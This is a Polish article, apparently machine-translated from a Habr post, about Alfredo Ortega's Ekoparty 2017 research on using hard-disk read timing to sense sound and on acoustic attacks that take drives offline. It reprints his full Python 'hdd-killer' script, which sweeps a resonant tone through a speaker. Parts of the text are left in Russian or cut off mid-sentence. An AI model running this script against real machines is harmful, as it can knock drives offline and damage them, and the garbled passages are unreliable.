
Na konferencji poświęconej bezpieczeństwu komputerowemu Ekoparty 2017 w Buenos Aires argentyński haker Alfredo Ortega pokazał bardzo ciekawe rozwiązanie – system do tajnego podsłuchiwania pomieszczeń bez użycia mikrofonu. Dźwięk !
Dysk twardy wychwytuje głównie dźwięki o wysokiej intensywności i niskiej częstotliwości, kroki i inne wibracje. Ludzka mowa nie została jeszcze rozpoznana, chociaż naukowcy (rozpoznawanie mowy na podstawie wibracji o niskiej częstotliwości, które są rejestrowane np. z żyroskopu lub dysku twardego).
Dźwięk to wibracja powietrza lub innego ośrodka. Osoba odbiera je przez błonę bębenkową, która przenosi wibracje do ucha wewnętrznego. Mikrofon zaprojektowany jest mniej więcej tak, jak ucho – tutaj również wibracje rejestrowane są przez cienką membranę, która wzbudza impuls elektryczny. Dysk twardy jest oczywiście również narażony na mikroskopijne wibracje spowodowane wahaniami otaczającego powietrza. Wiadomo to nawet z właściwości technicznych dysków twardych: producenci zwykle wskazują maksymalny dopuszczalny poziom wibracji, a sam dysk twardy często próbuje umieścić go w odpornym na wibracje pojemniku wykonanym z gumy lub innego materiału izolacyjnego. Z tego łatwo wywnioskować, że dźwięki można nagrywać na dysku twardym. Pozostaje tylko dowiedzieć się, jak to zrobić.
Alfredo Ortega zaproponował unikalną wersję ataku bocznego, a mianowicie atak czasowy. Atak ten opiera się na założeniu, że na urządzeniu wykonywane są różne operacje w różnym czasie, w zależności od podanych danych wejściowych. W tym przypadku „danymi wejściowymi” są drgania głowicy czytającej oraz talerza dysku twardego, które korelują z wibracjami otoczenia, czyli dźwiękiem. Zatem mierząc czas obliczeń i przeprowadzając analizę statystyczną danych, można zmierzyć drgania głowicy/talerza, a tym samym wibracje nośnika. Im dłuższe opóźnienie odczytu danych, tym silniejsze wibracje dysku twardego, a co za tym idzie, głośniejszy dźwięk.
Jak zmierzyć wibracje dysku twardego? Bardzo proste: wystarczy uruchomić wywołanie systemowe read () — i zapisz czas potrzebny na wykonanie. Nowoczesne systemy operacyjne pozwalają na odczytanie czasu wywołań systemowych z dokładnością do nanosekund.
Szybkość odczytu informacji z sektora zależy od położenia głowicy i talerza, co koreluje z wibracjami obudowy dysku twardego. To wszystko.
Analizę statystyczną przeprowadza się za pomocą prostego narzędzia o nazwie Kscope. Jak mówią, wszystko genialne jest proste.

Narzędzie Kscope (wywołanie systemowe stat())
Kscope to małe narzędzie do wizualizacji niewielkich różnic w czasie wykonywania wywołań systemowych. Źródło.
W osobnym repozytorium istnieje wersja narzędzia skonfigurowana do ataku czasowego na dysk twardy, to znaczy skonfigurowana do analizy wywołania systemowego read ().
Demonstracja nagrywania dźwięku przy użyciu dysku twardego, obsługa narzędzia Kscope

Oczywiście mowy nie można rozumieć w ten sposób, ale dysk twardy jest całkiem odpowiedni jako czujnik wibracji. Można np. zarejestrować, czy osoba w twardych butach lub boso weszła do pokoju z komputerem (prawdopodobnie, jeśli napastnik ma na sobie miękkie tenisówki lub na podłodze leży gruby dywan, dysk twardy nie będzie w stanie zarejestrować wibracji - warto to sprawdzić). Komputer jest w stanie zarejestrować stłuczone szkło lub inne zdarzenia o dużym natężeniu dźwięku. Oznacza to, że dysk twardy może służyć jako rodzaj systemu wykrywania nieautoryzowanych włamań.
Zabójca dysku twardego
Кстати, схожую технику можно использовать для выведения из строя жёстких дисков. Только здесь мы не снимаем колебания с HDD, а наоборот — генерируем колебания, которые подаются на HDD. Если воспроизводить с колонки звук на частоте, которая резонирует с частотой HDD, то система вскоре отключает устройство с ошибкой ввода-вывода (ядро Linux полностью отключает HDD через 120 секунд). Сам жёсткий диск может получить необратимые повреждения.

Rdzeń Linux отключило жёсткий диск после 120 секунд подачи звука на резонирующей частоте через динамик USB-колонки Edifier r19u. Динамик включен примерно на четверть мощности (менее 100 мВт) и располагается в 20 см от HDD, направлен на стол для усиления вибраций. Кадр из z demonstracją zabójcy HDD
Ciekawe, że takie „ataki” na dyski twarde czasami zdarzają się zupełnie przypadkowo w życiu codziennym. Na przykład we wrześniu 2016 r. centrum danych ING Banku zostało zmuszone do zawieszenia działalności na 10 godzin po ćwiczeniach przeciwpożarowych. z powodu głośnego dźwięku gazu obojętnego wydobywającego się z butli pod wysokim ciśnieniem. Dźwięk był bardzo głośny (ponad 130 dB), ale na dyski twarde nie można nawet krzyczeć - zwiększa to opóźnienie w dostępie do dysku twardego.
Demonstracja ludzkiego krzyku na dyskach twardych w centrum danych. Pomiar opóźnienia

Aby wygenerować rezonujący dźwięk, Alfredo Ortega napisał skrypt w języku Python o nazwie ().
Jest dość mały, więc możesz opublikować go w całości tutaj.
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()Źródło: www.habr.com
